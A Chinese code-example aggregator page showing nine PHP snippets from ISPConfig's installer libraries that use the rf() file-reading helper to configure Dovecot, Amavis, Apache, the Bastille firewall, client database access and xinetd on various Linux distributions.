当前位置: 首页>>代码示例>>PHP>>正文


PHP rf函数代码示例

本文整理汇总了PHP中rf函数的典型用法代码示例。如果您正苦于以下问题:PHP rf函数的具体用法?PHP rf怎么用?PHP rf使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了rf函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: configure_dovecot

 public function configure_dovecot()
 {
     global $conf;
     $config_dir = $conf['dovecot']['config_dir'];
     //* Configure master.cf and add a line for deliver
     if (is_file($config_dir . '/master.cf')) {
         copy($config_dir . '/master.cf', $config_dir . '/master.cf~2');
     }
     if (is_file($config_dir . '/master.cf~')) {
         chmod($config_dir . '/master.cf~2', 0400);
     }
     $content = rf($conf["postfix"]["config_dir"] . '/master.cf');
     // Only add the content if we had not addded it before
     if (!stristr($content, "dovecot/deliver")) {
         $deliver_content = 'dovecot   unix  -       n       n       -       -       pipe' . "\n" . '  flags=DRhu user=vmail:vmail argv=/usr/lib/dovecot/deliver -f ${sender} -d ${user}@${nexthop}';
         af($conf["postfix"]["config_dir"] . '/master.cf', $deliver_content);
     }
     unset($content);
     unset($deliver_content);
     //* Reconfigure postfix to use dovecot authentication
     // Adding the amavisd commands to the postfix configuration
     $postconf_commands = array('dovecot_destination_recipient_limit = 1', 'virtual_transport = dovecot', 'smtpd_sasl_type = dovecot', 'smtpd_sasl_path = private/auth');
     // Make a backup copy of the main.cf file
     copy($conf["postfix"]["config_dir"] . '/main.cf', $conf["postfix"]["config_dir"] . '/main.cf~3');
     // Executing the postconf commands
     foreach ($postconf_commands as $cmd) {
         $command = "postconf -e '{$cmd}'";
         caselog($command . " &> /dev/null", __FILE__, __LINE__, "EXECUTED: {$command}", "Failed to execute the command {$command}");
     }
     //* copy dovecot.conf
     $configfile = 'dovecot.conf';
     if (is_file($config_dir . '/' . $configfile)) {
         copy($config_dir . '/' . $configfile, $config_dir . '/' . $configfile . '~');
     }
     copy('tpl/debian6_dovecot.conf.master', $config_dir . '/' . $configfile);
     //* dovecot-sql.conf
     $configfile = 'dovecot-sql.conf';
     if (is_file($config_dir . '/' . $configfile)) {
         copy($config_dir . '/' . $configfile, $config_dir . '/' . $configfile . '~');
     }
     chmod($config_dir . '/' . $configfile . '~', 0400);
     $content = rf('tpl/debian6_dovecot-sql.conf.master');
     $content = str_replace('{mysql_server_ispconfig_user}', $conf['mysql']['ispconfig_user'], $content);
     $content = str_replace('{mysql_server_ispconfig_password}', $conf['mysql']['ispconfig_password'], $content);
     $content = str_replace('{mysql_server_database}', $conf['mysql']['database'], $content);
     $content = str_replace('{mysql_server_host}', $conf['mysql']['host'], $content);
     wf($config_dir . '/' . $configfile, $content);
     chmod($config_dir . '/' . $configfile, 0600);
     chown($config_dir . '/' . $configfile, 'root');
     chgrp($config_dir . '/' . $configfile, 'root');
 }
开发者ID:falkbizz,项目名称:ispconfig3,代码行数:51,代码来源:debian60.lib.php

示例2: configure_amavis

 public function configure_amavis()
 {
     global $conf;
     // amavisd user config file
     $configfile = 'fedora_amavisd_conf';
     if (is_file($conf["amavis"]["config_dir"] . '/amavisd.conf')) {
         copy($conf["amavis"]["config_dir"] . '/amavisd.conf', $conf["amavis"]["config_dir"] . '/amavisd.conf~');
     }
     if (is_file($conf["amavis"]["config_dir"] . '/amavisd.conf~')) {
         exec('chmod 400 ' . $conf["amavis"]["config_dir"] . '/amavisd.conf~');
     }
     if (!is_dir($conf["amavis"]["config_dir"])) {
         mkdir($conf["amavis"]["config_dir"]);
     }
     $content = rf("tpl/" . $configfile . ".master");
     $content = str_replace('{mysql_server_ispconfig_user}', $conf['mysql']['ispconfig_user'], $content);
     $content = str_replace('{mysql_server_ispconfig_password}', $conf['mysql']['ispconfig_password'], $content);
     $content = str_replace('{mysql_server_database}', $conf['mysql']['database'], $content);
     $content = str_replace('{mysql_server_port}', $conf["mysql"]["port"], $content);
     $content = str_replace('{mysql_server_ip}', $conf['mysql']['ip'], $content);
     $content = str_replace('{hostname}', $conf['hostname'], $content);
     $content = str_replace('/var/spool/amavisd/clamd.sock', '/var/run/clamav/clamd.sock', $content);
     wf($conf["amavis"]["config_dir"] . '/amavisd.conf', $content);
     // Adding the amavisd commands to the postfix configuration
     $postconf_commands = array('content_filter = amavis:[127.0.0.1]:10024', 'receive_override_options = no_address_mappings');
     // Make a backup copy of the main.cf file
     copy($conf["postfix"]["config_dir"] . '/main.cf', $conf["postfix"]["config_dir"] . '/main.cf~2');
     // Executing the postconf commands
     foreach ($postconf_commands as $cmd) {
         $command = "postconf -e '{$cmd}'";
         caselog($command . " &> /dev/null", __FILE__, __LINE__, "EXECUTED: {$command}", "Failed to execute the command {$command}");
     }
     // Append the configuration for amavisd to the master.cf file
     if (is_file($conf["postfix"]["config_dir"] . '/master.cf')) {
         copy($conf["postfix"]["config_dir"] . '/master.cf', $conf["postfix"]["config_dir"] . '/master.cf~');
     }
     $content = rf($conf["postfix"]["config_dir"] . '/master.cf');
     // Only add the content if we had not addded it before
     if (!stristr($content, "127.0.0.1:10025")) {
         unset($content);
         $content = rf("tpl/master_cf_amavis.master");
         af($conf["postfix"]["config_dir"] . '/master.cf', $content);
     }
     unset($content);
     removeLine('/etc/sysconfig/freshclam', 'FRESHCLAM_DELAY=disabled-warn   # REMOVE ME', 1);
     replaceLine('/etc/freshclam.conf', 'Example', '# Example', 1);
 }
开发者ID:falkbizz,项目名称:ispconfig3,代码行数:47,代码来源:centos53.lib.php

示例3: install_ispconfig

 public function install_ispconfig()
 {
     global $conf;
     $install_dir = $conf['ispconfig_install_dir'];
     //* Create the ISPConfig installation directory
     if (!is_dir($install_dir)) {
         $command = "mkdir {$install_dir}";
         caselog($command . ' &> /dev/null', __FILE__, __LINE__, "EXECUTED: {$command}", "Failed to execute the command {$command}");
     }
     //* Create a ISPConfig user and group
     if (!is_group('ispconfig')) {
         $command = 'groupadd ispconfig';
         caselog($command . ' &> /dev/null 2> /dev/null', __FILE__, __LINE__, "EXECUTED: {$command}", "Failed to execute the command {$command}");
     }
     if (!is_user('ispconfig')) {
         $command = "useradd -g ispconfig -d {$install_dir} ispconfig";
         caselog($command . ' &> /dev/null 2> /dev/null', __FILE__, __LINE__, "EXECUTED: {$command}", "Failed to execute the command {$command}");
     }
     //* copy the ISPConfig interface part
     $command = "cp -rf ../interface {$install_dir}";
     caselog($command . ' &> /dev/null', __FILE__, __LINE__, "EXECUTED: {$command}", "Failed to execute the command {$command}");
     //* copy the ISPConfig server part
     $command = "cp -rf ../server {$install_dir}";
     caselog($command . ' &> /dev/null', __FILE__, __LINE__, "EXECUTED: {$command}", "Failed to execute the command {$command}");
     //* Create the config file for ISPConfig interface
     $configfile = 'config.inc.php';
     $content = $this->get_template_file($configfile, true, true);
     //* get contents & insert db cred
     $content = str_replace('{mysql_master_server_ispconfig_user}', $conf['mysql']['master_ispconfig_user'], $content);
     $content = str_replace('{mysql_master_server_ispconfig_password}', $conf['mysql']['master_ispconfig_password'], $content);
     $content = str_replace('{mysql_master_server_database}', $conf['mysql']['master_database'], $content);
     $content = str_replace('{mysql_master_server_host}', $conf['mysql']['master_host'], $content);
     $content = str_replace('{server_id}', $conf['server_id'], $content);
     $content = str_replace('{ispconfig_log_priority}', $conf['ispconfig_log_priority'], $content);
     $content = str_replace('{language}', $conf['language'], $content);
     $this->write_config_file("{$install_dir}/interface/lib/{$configfile}", $content);
     //* Create the config file for ISPConfig server
     $this->write_config_file("{$install_dir}/server/lib/{$configfile}", $content);
     //* Create the config file for remote-actions (but only, if it does not exist, because
     //  the value is a autoinc-value and so changed by the remoteaction_core_module
     if (!file_exists($install_dir . '/server/lib/remote_action.inc.php')) {
         $content = '<?php' . "\n" . '$maxid_remote_action = 0;' . "\n" . '?>';
         wf($install_dir . '/server/lib/remote_action.inc.php', $content);
     }
     // Enable the server modules and plugins.
     // TODO: Implement a selector which modules and plugins shall be enabled.
     $dir = $install_dir . '/server/mods-available/';
     if (is_dir($dir)) {
         if ($dh = opendir($dir)) {
             while (($file = readdir($dh)) !== false) {
                 if ($file != '.' && $file != '..' && substr($file, -8, 8) == '.inc.php') {
                     include_once $install_dir . '/server/mods-available/' . $file;
                     $module_name = substr($file, 0, -8);
                     $tmp = new $module_name();
                     if ($tmp->onInstall()) {
                         if (!@is_link($install_dir . '/server/mods-enabled/' . $file)) {
                             @symlink($install_dir . '/server/mods-available/' . $file, $install_dir . '/server/mods-enabled/' . $file);
                             // @symlink($install_dir.'/server/mods-available/'.$file, '../mods-enabled/'.$file);
                         }
                         if (strpos($file, '_core_module') !== false) {
                             if (!@is_link($install_dir . '/server/mods-core/' . $file)) {
                                 @symlink($install_dir . '/server/mods-available/' . $file, $install_dir . '/server/mods-core/' . $file);
                                 // @symlink($install_dir.'/server/mods-available/'.$file, '../mods-core/'.$file);
                             }
                         }
                     }
                     unset($tmp);
                 }
             }
             closedir($dh);
         }
     }
     $dir = $install_dir . '/server/plugins-available/';
     if (is_dir($dir)) {
         if ($dh = opendir($dir)) {
             while (($file = readdir($dh)) !== false) {
                 if ($conf['apache']['installed'] == true && $file == 'nginx_plugin.inc.php') {
                     continue;
                 }
                 if ($conf['nginx']['installed'] == true && $file == 'apache2_plugin.inc.php') {
                     continue;
                 }
                 if ($file != '.' && $file != '..' && substr($file, -8, 8) == '.inc.php') {
                     include_once $install_dir . '/server/plugins-available/' . $file;
                     $plugin_name = substr($file, 0, -8);
                     $tmp = new $plugin_name();
                     if (method_exists($tmp, 'onInstall') && $tmp->onInstall()) {
                         if (!@is_link($install_dir . '/server/plugins-enabled/' . $file)) {
                             @symlink($install_dir . '/server/plugins-available/' . $file, $install_dir . '/server/plugins-enabled/' . $file);
                         }
                         if (strpos($file, '_core_plugin') !== false) {
                             if (!@is_link($install_dir . '/server/plugins-core/' . $file)) {
                                 @symlink($install_dir . '/server/plugins-available/' . $file, $install_dir . '/server/plugins-core/' . $file);
                             }
                         }
                     }
                     unset($tmp);
                 }
             }
             closedir($dh);
//.........这里部分代码省略.........
开发者ID:falkbizz,项目名称:ispconfig3,代码行数:101,代码来源:gentoo.lib.php

示例4: configure_dbserver

 public function configure_dbserver()
 {
     global $conf;
     //* If this server shall act as database server for client DB's, we configure this here
     $install_dir = $conf['ispconfig_install_dir'];
     // Create a file with the database login details which
     // are used to create the client databases.
     if (!is_dir("{$install_dir}/server/lib")) {
         $command = "mkdir {$install_dir}/server/lib";
         caselog($command . ' &> /dev/null', __FILE__, __LINE__, "EXECUTED: {$command}", "Failed to execute the command {$command}");
     }
     $content = rf("tpl/mysql_clientdb.conf.master");
     $content = str_replace('{username}', $conf['mysql']['admin_user'], $content);
     $content = str_replace('{password}', $conf['mysql']['admin_password'], $content);
     wf("{$install_dir}/server/lib/mysql_clientdb.conf", $content);
     exec('chmod 600 ' . "{$install_dir}/server/lib/mysql_clientdb.conf");
     exec('chown root:root ' . "{$install_dir}/server/lib/mysql_clientdb.conf");
 }
开发者ID:falkbizz,项目名称:ispconfig3,代码行数:18,代码来源:opensuse.lib.php

示例5: configure_firewall

 public function configure_firewall()
 {
     global $conf;
     $dist_init_scripts = $conf['init_scripts'];
     if (is_dir("/etc/Bastille.backup")) {
         caselog("rm -rf /etc/Bastille.backup", __FILE__, __LINE__);
     }
     if (is_dir("/etc/Bastille")) {
         caselog("mv -f /etc/Bastille /etc/Bastille.backup", __FILE__, __LINE__);
     }
     @mkdir("/etc/Bastille", octdec($directory_mode));
     if (is_dir("/etc/Bastille.backup/firewall.d")) {
         caselog("cp -pfr /etc/Bastille.backup/firewall.d /etc/Bastille/", __FILE__, __LINE__);
     }
     if (is_file($conf['ispconfig_install_dir'] . '/server/conf-custom/install/bastille-firewall.cfg.master')) {
         caselog("cp -f " . $conf['ispconfig_install_dir'] . "/server/conf-custom/install/bastille-firewall.cfg.master /etc/Bastille/bastille-firewall.cfg", __FILE__, __LINE__);
     } else {
         caselog("cp -f tpl/bastille-firewall.cfg.master /etc/Bastille/bastille-firewall.cfg", __FILE__, __LINE__);
     }
     caselog("chmod 644 /etc/Bastille/bastille-firewall.cfg", __FILE__, __LINE__);
     $content = rf("/etc/Bastille/bastille-firewall.cfg");
     $content = str_replace("{DNS_SERVERS}", "", $content);
     $tcp_public_services = '';
     $udp_public_services = '';
     $row = $this->db->queryOneRecord('SELECT * FROM ' . $conf["mysql"]["database"] . '.firewall WHERE server_id = ' . intval($conf['server_id']));
     if (trim($row["tcp_port"]) != '' || trim($row["udp_port"]) != '') {
         $tcp_public_services = trim(str_replace(',', ' ', $row["tcp_port"]));
         $udp_public_services = trim(str_replace(',', ' ', $row["udp_port"]));
     } else {
         $tcp_public_services = '21 22 25 53 80 110 443 3306 8080 10000';
         $udp_public_services = '53';
     }
     if (!stristr($tcp_public_services, $conf['apache']['vhost_port'])) {
         $tcp_public_services .= ' ' . intval($conf['apache']['vhost_port']);
         if ($row["tcp_port"] != '') {
             $this->db->query("UPDATE firewall SET tcp_port = tcp_port + '," . intval($conf['apache']['vhost_port']) . "' WHERE server_id = " . intval($conf['server_id']));
         }
     }
     $content = str_replace("{TCP_PUBLIC_SERVICES}", $tcp_public_services, $content);
     $content = str_replace("{UDP_PUBLIC_SERVICES}", $udp_public_services, $content);
     wf("/etc/Bastille/bastille-firewall.cfg", $content);
     if (is_file($dist_init_scripts . "/bastille-firewall")) {
         caselog("mv -f {$dist_init_scripts}/bastille-firewall {$dist_init_scripts}/bastille-firewall.backup", __FILE__, __LINE__);
     }
     caselog("cp -f apps/bastille-firewall {$dist_init_scripts}", __FILE__, __LINE__);
     caselog("chmod 700 {$dist_init_scripts}/bastille-firewall", __FILE__, __LINE__);
     if (is_file("/sbin/bastille-ipchains")) {
         caselog("mv -f /sbin/bastille-ipchains /sbin/bastille-ipchains.backup", __FILE__, __LINE__);
     }
     caselog("cp -f apps/bastille-ipchains /sbin", __FILE__, __LINE__);
     caselog("chmod 700 /sbin/bastille-ipchains", __FILE__, __LINE__);
     if (is_file("/sbin/bastille-netfilter")) {
         caselog("mv -f /sbin/bastille-netfilter /sbin/bastille-netfilter.backup", __FILE__, __LINE__);
     }
     caselog("cp -f apps/bastille-netfilter /sbin", __FILE__, __LINE__);
     caselog("chmod 700 /sbin/bastille-netfilter", __FILE__, __LINE__);
     if (!@is_dir('/var/lock/subsys')) {
         caselog("mkdir /var/lock/subsys", __FILE__, __LINE__);
     }
     exec("which ipchains &> /dev/null", $ipchains_location, $ret_val);
     if (!is_file("/sbin/ipchains") && !is_link("/sbin/ipchains") && $ret_val == 0) {
         phpcaselog(@symlink(shell_exec("which ipchains"), "/sbin/ipchains"), 'create symlink', __FILE__, __LINE__);
     }
     unset($ipchains_location);
     exec("which iptables &> /dev/null", $iptables_location, $ret_val);
     if (!is_file("/sbin/iptables") && !is_link("/sbin/iptables") && $ret_val == 0) {
         phpcaselog(@symlink(trim(shell_exec("which iptables")), "/sbin/iptables"), 'create symlink', __FILE__, __LINE__);
     }
     unset($iptables_location);
 }
开发者ID:istrwei,项目名称:ISPCluster,代码行数:70,代码来源:opensuse.lib.php

示例6: configure_apache

 public function configure_apache()
 {
     global $conf;
     if ($conf['apache']['installed'] == false) {
         return;
     }
     //* Create the logging directory for the vhost logfiles
     if (!is_dir($conf['ispconfig_log_dir'] . '/httpd')) {
         mkdir($conf['ispconfig_log_dir'] . '/httpd', 0755, true);
     }
     if (is_file($conf['suphp']['config_file'])) {
         $content = rf($conf['suphp']['config_file']);
         if (!preg_match('|^x-httpd-suphp=php:/usr/bin/php-cgi$|m', $content)) {
             $content = preg_replace('/;Handler for php-scripts/', ";Handler for php-scripts\nx-httpd-suphp=php:/usr/bin/php-cgi", $content);
             $content = preg_replace('/;?umask=\\d+/', 'umask=0022', $content);
         }
         $this->write_config_file($conf['suphp']['config_file'], $content);
     }
     //* Enable ISPConfig default vhost settings
     $default_vhost_path = $conf['apache']['vhost_conf_dir'] . '/' . $conf['apache']['vhost_default'];
     if (is_file($default_vhost_path)) {
         $content = rf($default_vhost_path);
         $content = preg_replace('/^#?\\s*NameVirtualHost.*$/m', 'NameVirtualHost *:80', $content);
         $content = preg_replace('/<VirtualHost[^>]+>/', '<VirtualHost *:80>', $content);
         $this->write_config_file($default_vhost_path, $content);
     }
     //* Generate default ssl certificates
     if (!is_dir($conf['apache']['ssl_dir'])) {
         mkdir($conf['apache']['ssl_dir']);
     }
     if ($conf['services']['mail'] == true) {
         copy($conf['postfix']['config_dir'] . "/smtpd.key", $conf['apache']['ssl_dir'] . "/server.key");
         copy($conf['postfix']['config_dir'] . "/smtpd.cert", $conf['apache']['ssl_dir'] . "/server.crt");
     } else {
         if (!is_file($conf['apache']['ssl_dir'] . '/server.crt')) {
             exec("openssl req -new -outform PEM -out {$conf['apache']['ssl_dir']}/server.crt -newkey rsa:2048 -nodes -keyout {$conf['apache']['ssl_dir']}/server.key -keyform PEM -days 365 -x509");
         }
     }
     //* Copy the ISPConfig configuration include
     /*
     $content = $this->get_template_file('apache_ispconfig.conf', true);
     
     $records = $this->db->queryAllRecords("SELECT * FROM server_ip WHERE server_id = ".$conf["server_id"]." AND virtualhost = 'y'");
     if(is_array($records) && count($records) > 0)
     {
     	foreach($records as $rec) {
     		$content .= "NameVirtualHost ".$rec["ip_address"].":80\n";
     		$content .= "NameVirtualHost ".$rec["ip_address"].":443\n";
     	}
     }
     
     $this->write_config_file($conf['apache']['vhost_conf_dir'].'/000-ispconfig.conf', $content);
     */
     $tpl = new tpl('apache_ispconfig.conf.master');
     $tpl->setVar('apache_version', getapacheversion());
     $records = $this->db->queryAllRecords('SELECT * FROM ' . $conf['mysql']['master_database'] . '.server_ip WHERE server_id = ' . $conf['server_id'] . " AND virtualhost = 'y'");
     $ip_addresses = array();
     if (is_array($records) && count($records) > 0) {
         foreach ($records as $rec) {
             if ($rec['ip_type'] == 'IPv6') {
                 $ip_address = '[' . $rec['ip_address'] . ']';
             } else {
                 $ip_address = $rec['ip_address'];
             }
             $ports = explode(',', $rec['virtualhost_port']);
             if (is_array($ports)) {
                 foreach ($ports as $port) {
                     $port = intval($port);
                     if ($port > 0 && $port < 65536 && $ip_address != '') {
                         $ip_addresses[] = array('ip_address' => $ip_address, 'port' => $port);
                     }
                 }
             }
         }
     }
     if (count($ip_addresses) > 0) {
         $tpl->setLoop('ip_adresses', $ip_addresses);
     }
     wf($conf['apache']['vhost_conf_dir'] . '/000-ispconfig.conf', $tpl->grab());
     unset($tpl);
     //* Gentoo by default does not include .vhost files. Add include line to config file.
     $content = rf($conf['apache']['config_file']);
     if (strpos($content, 'Include /etc/apache2/vhosts.d/*.vhost') === false) {
         $content = preg_replace('|(Include /etc/apache2/vhosts.d/\\*.conf)|', "\$1\nInclude /etc/apache2/vhosts.d/*.vhost", $content);
     }
     $this->write_config_file($conf['apache']['config_file'], $content);
     //* make sure that webalizer finds its config file when it is directly in /etc
     if (is_file('/etc/webalizer.conf') && !is_dir('/etc/webalizer')) {
         mkdir('/etc/webalizer', 0755);
         symlink('/etc/webalizer.conf', '/etc/webalizer/webalizer.conf');
     }
     if (is_file('/etc/webalizer/webalizer.conf')) {
         replaceLine('/etc/webalizer/webalizer.conf', '#IncrementalName', 'IncrementalName webalizer.current', 0, 0);
         replaceLine('/etc/webalizer/webalizer.conf', '#Incremental', 'Incremental     yes', 0, 0);
         replaceLine('/etc/webalizer/webalizer.conf', '#HistoryName', 'HistoryName     webalizer.hist', 0, 0);
     }
     //* add a sshusers group
     if (!is_group('sshusers')) {
         $command = 'groupadd sshusers';
         caselog($command . ' &> /dev/null 2> /dev/null', __FILE__, __LINE__, "EXECUTED: {$command}", "Failed to execute the command {$command}");
//.........这里部分代码省略.........
开发者ID:istrwei,项目名称:ISPCluster,代码行数:101,代码来源:gentoo.lib.php

示例7: updateDbAndIni


//.........这里部分代码省略.........
            $next_db_version = intval($current_db_version + 1);
            $patch_filename = realpath(dirname(__FILE__) . '/../') . '/sql/incremental/upd_' . str_pad($next_db_version, 4, '0', STR_PAD_LEFT) . '.sql';
            if (is_file($patch_filename)) {
                $current_db_version = $next_db_version;
            } else {
                $found = false;
            }
        }
        //* update the database version in server table
        $inst->db->query("UPDATE " . $conf["mysql"]["database"] . ".server SET dbversion = '" . $current_db_version . "' WHERE server_id = " . $conf['server_id']);
        if ($inst->db->dbHost != $inst->dbmaster->dbHost) {
            $inst->dbmaster->query("UPDATE " . $conf["mysql"]["master_database"] . ".server SET dbversion = '" . $current_db_version . "' WHERE server_id = " . $conf['server_id']);
        }
        if ($conf['powerdns']['installed']) {
            swriteln($inst->lng('Starting full PowerDNS database update.'));
            //** Delete the old PowerDNS database
            if (!$inst->db->query('DROP DATABASE IF EXISTS ' . $conf['powerdns']['database'])) {
                $inst->error('Unable to drop MySQL database: ' . $conf['powerdns']['database'] . '.');
            }
            //** Create the mysql database
            $inst->configure_powerdns();
            //** load old data back into the PowerDNS database
            if (!empty($conf["mysql"]["admin_password"])) {
                system("mysql --default-character-set=" . escapeshellarg($conf['mysql']['charset']) . " --force -h " . escapeshellarg($conf['mysql']['host']) . " -u " . escapeshellarg($conf['mysql']['admin_user']) . " -p" . escapeshellarg($conf['mysql']['admin_password']) . " " . escapeshellarg($conf['powerdns']['database']) . " < existing_powerdns_db.sql");
            } else {
                system("mysql --default-character-set=" . escapeshellarg($conf['mysql']['charset']) . " --force -h " . escapeshellarg($conf['mysql']['host']) . " -u " . escapeshellarg($conf['mysql']['admin_user']) . " " . escapeshellarg($conf['powerdns']['database']) . " < existing_powerdns_db.sql");
            }
        }
    }
    //** Update server ini
    $tmp_server_rec = $inst->db->queryOneRecord("SELECT config FROM " . $conf["mysql"]["database"] . ".server WHERE server_id = " . $conf['server_id']);
    $old_ini_array = ini_to_array(stripslashes($tmp_server_rec['config']));
    unset($tmp_server_rec);
    $tpl_ini_array = ini_to_array(rf('tpl/server.ini.master'));
    //* Update further distribution specific parameters for server config here
    //* HINT: Every line added here has to be added in installer_base.lib.php too!!
    $tpl_ini_array['jailkit']['jailkit_chroot_app_programs'] = $conf['jailkit']['jailkit_chroot_app_programs'];
    $tpl_ini_array['fastcgi']['fastcgi_phpini_path'] = $conf['fastcgi']['fastcgi_phpini_path'];
    $tpl_ini_array['fastcgi']['fastcgi_starter_path'] = $conf['fastcgi']['fastcgi_starter_path'];
    $tpl_ini_array['fastcgi']['fastcgi_bin'] = $conf['fastcgi']['fastcgi_bin'];
    $tpl_ini_array['server']['hostname'] = $conf['hostname'];
    $tpl_ini_array['server']['ip_address'] = @gethostbyname($conf['hostname']);
    $tpl_ini_array['web']['website_basedir'] = $conf['web']['website_basedir'];
    $tpl_ini_array['web']['website_path'] = $conf['web']['website_path'];
    $tpl_ini_array['web']['website_symlinks'] = $conf['web']['website_symlinks'];
    $tpl_ini_array['cron']['crontab_dir'] = $conf['cron']['crontab_dir'];
    $tpl_ini_array['web']['security_level'] = 20;
    $tpl_ini_array['web']['user'] = $conf['apache']['user'];
    $tpl_ini_array['web']['group'] = $conf['apache']['group'];
    $tpl_ini_array['web']['php_ini_path_apache'] = $conf['apache']['php_ini_path_apache'];
    $tpl_ini_array['web']['php_ini_path_cgi'] = $conf['apache']['php_ini_path_cgi'];
    $tpl_ini_array['mail']['pop3_imap_daemon'] = $conf['dovecot']['installed'] == true ? 'dovecot' : 'courier';
    $tpl_ini_array['mail']['mail_filter_syntax'] = $conf['dovecot']['installed'] == true ? 'sieve' : 'maildrop';
    $tpl_ini_array['dns']['bind_user'] = $conf['bind']['bind_user'];
    $tpl_ini_array['dns']['bind_group'] = $conf['bind']['bind_group'];
    $tpl_ini_array['dns']['bind_zonefiles_dir'] = $conf['bind']['bind_zonefiles_dir'];
    $tpl_ini_array['dns']['named_conf_path'] = $conf['bind']['named_conf_path'];
    $tpl_ini_array['dns']['named_conf_local_path'] = $conf['bind']['named_conf_local_path'];
    $tpl_ini_array['web']['nginx_vhost_conf_dir'] = $conf['nginx']['vhost_conf_dir'];
    $tpl_ini_array['web']['nginx_vhost_conf_enabled_dir'] = $conf['nginx']['vhost_conf_enabled_dir'];
    $tpl_ini_array['web']['nginx_user'] = $conf['nginx']['user'];
    $tpl_ini_array['web']['nginx_group'] = $conf['nginx']['group'];
    $tpl_ini_array['web']['nginx_cgi_socket'] = $conf['nginx']['cgi_socket'];
    $tpl_ini_array['web']['php_fpm_init_script'] = $conf['nginx']['php_fpm_init_script'];
    $tpl_ini_array['web']['php_fpm_ini_path'] = $conf['nginx']['php_fpm_ini_path'];
    $tpl_ini_array['web']['php_fpm_pool_dir'] = $conf['nginx']['php_fpm_pool_dir'];
开发者ID:istrwei,项目名称:ISPCluster,代码行数:67,代码来源:update.lib.php

示例8: configure_dovecot

 public function configure_dovecot()
 {
     global $conf;
     $config_dir = $conf['dovecot']['config_dir'];
     //* Configure master.cf and add a line for deliver
     if (is_file($config_dir . '/master.cf')) {
         copy($config_dir . '/master.cf', $config_dir . '/master.cf~2');
     }
     if (is_file($config_dir . '/master.cf~')) {
         chmod($config_dir . '/master.cf~2', 0400);
     }
     $content = rf($conf["postfix"]["config_dir"] . '/master.cf');
     // Only add the content if we had not addded it before
     if (!stristr($content, "dovecot/deliver")) {
         $deliver_content = 'dovecot   unix  -       n       n       -       -       pipe' . "\n" . '  flags=DRhu user=vmail:vmail argv=/usr/lib/dovecot/deliver -f ${sender} -d ${user}@${nexthop}';
         af($conf["postfix"]["config_dir"] . '/master.cf', $deliver_content);
     }
     unset($content);
     unset($deliver_content);
     //* Reconfigure postfix to use dovecot authentication
     // Adding the amavisd commands to the postfix configuration
     $postconf_commands = array('dovecot_destination_recipient_limit = 1', 'virtual_transport = dovecot', 'smtpd_sasl_type = dovecot', 'smtpd_sasl_path = private/auth');
     // Make a backup copy of the main.cf file
     copy($conf["postfix"]["config_dir"] . '/main.cf', $conf["postfix"]["config_dir"] . '/main.cf~3');
     // Executing the postconf commands
     foreach ($postconf_commands as $cmd) {
         $command = "postconf -e '{$cmd}'";
         caselog($command . " &> /dev/null", __FILE__, __LINE__, "EXECUTED: {$command}", "Failed to execute the command {$command}");
     }
     //* copy dovecot.conf
     $configfile = 'dovecot.conf';
     if (is_file($config_dir . '/' . $configfile)) {
         copy($config_dir . '/' . $configfile, $config_dir . '/' . $configfile . '~');
     }
     //* Get the dovecot version
     exec('dovecot --version', $tmp);
     $dovecot_version = $tmp[0];
     unset($tmp);
     //* Copy dovecot configuration file
     if (version_compare($dovecot_version, 2) >= 0) {
         if (is_file($conf['ispconfig_install_dir'] . '/server/conf-custom/install/debian6_dovecot2.conf.master')) {
             copy($conf['ispconfig_install_dir'] . '/server/conf-custom/install/debian6_dovecot2.conf.master', $config_dir . '/' . $configfile);
         } else {
             copy('tpl/debian6_dovecot2.conf.master', $config_dir . '/' . $configfile);
         }
         replaceLine($config_dir . '/' . $configfile, 'postmaster_address = postmaster@example.com', 'postmaster_address = postmaster@' . $conf['hostname'], 1, 0);
         if (version_compare($dovecot_version, 2.1) < 0) {
             removeLine($config_dir . '/' . $configfile, 'ssl_protocols =');
         }
     } else {
         if (is_file($conf['ispconfig_install_dir'] . '/server/conf-custom/install/debian6_dovecot.conf.master')) {
             copy($conf['ispconfig_install_dir'] . '/server/conf-custom/install/debian6_dovecot.conf.master', $config_dir . '/' . $configfile);
         } else {
             copy('tpl/debian6_dovecot.conf.master', $config_dir . '/' . $configfile);
         }
     }
     //* dovecot-sql.conf
     $configfile = 'dovecot-sql.conf';
     if (is_file($config_dir . '/' . $configfile)) {
         copy($config_dir . '/' . $configfile, $config_dir . '/' . $configfile . '~');
         chmod($config_dir . '/' . $configfile . '~', 0400);
     }
     $content = rfsel($conf['ispconfig_install_dir'] . '/server/conf-custom/install/debian6_dovecot-sql.conf.master', 'tpl/debian6_dovecot-sql.conf.master');
     $content = str_replace('{mysql_server_ispconfig_user}', $conf['mysql']['ispconfig_user'], $content);
     $content = str_replace('{mysql_server_ispconfig_password}', $conf['mysql']['ispconfig_password'], $content);
     $content = str_replace('{mysql_server_database}', $conf['mysql']['database'], $content);
     $content = str_replace('{mysql_server_host}', $conf['mysql']['host'], $content);
     $content = str_replace('{server_id}', $conf['server_id'], $content);
     wf($config_dir . '/' . $configfile, $content);
     chmod($config_dir . '/' . $configfile, 0600);
     chown($config_dir . '/' . $configfile, 'root');
     chgrp($config_dir . '/' . $configfile, 'root');
     // Dovecot shall ignore mounts in website directory
     if (is_installed('doveadm')) {
         exec("doveadm mount add '/var/www/*' ignore > /dev/null 2> /dev/null");
     }
 }
开发者ID:istrwei,项目名称:ISPCluster,代码行数:77,代码来源:debian60.lib.php

示例9: edit_xinetd_conf

function edit_xinetd_conf($service)
{
    $xinetd_conf = '/etc/xinetd.conf';
    $contents = unix_nl(rf($xinetd_conf));
    $lines = explode("\n", $contents);
    $j = sizeof($lines);
    for ($i = 0; $i < sizeof($lines); $i++) {
        if (grep($lines[$i], $service, 'w')) {
            $fundstelle_anfang = $i;
            $j = $i;
            $parts = explode($lines[$i], $contents);
        }
        if ($j < sizeof($lines)) {
            if (strstr($lines[$i], '}')) {
                $fundstelle_ende = $i;
                $j = sizeof($lines);
            }
        }
    }
    if (isset($fundstelle_anfang) && isset($fundstelle_ende)) {
        for ($i = $fundstelle_anfang; $i <= $fundstelle_ende; $i++) {
            if (strstr($lines[$i], 'disable')) {
                $disable = explode('=', $lines[$i]);
                $disable[1] = ' yes';
                $lines[$i] = implode('=', $disable);
            }
        }
    }
    $fundstelle_anfang = NULL;
    $fundstelle_ende = NULL;
    $contents = implode("\n", $lines);
    wf($xinetd_conf, $contents);
}
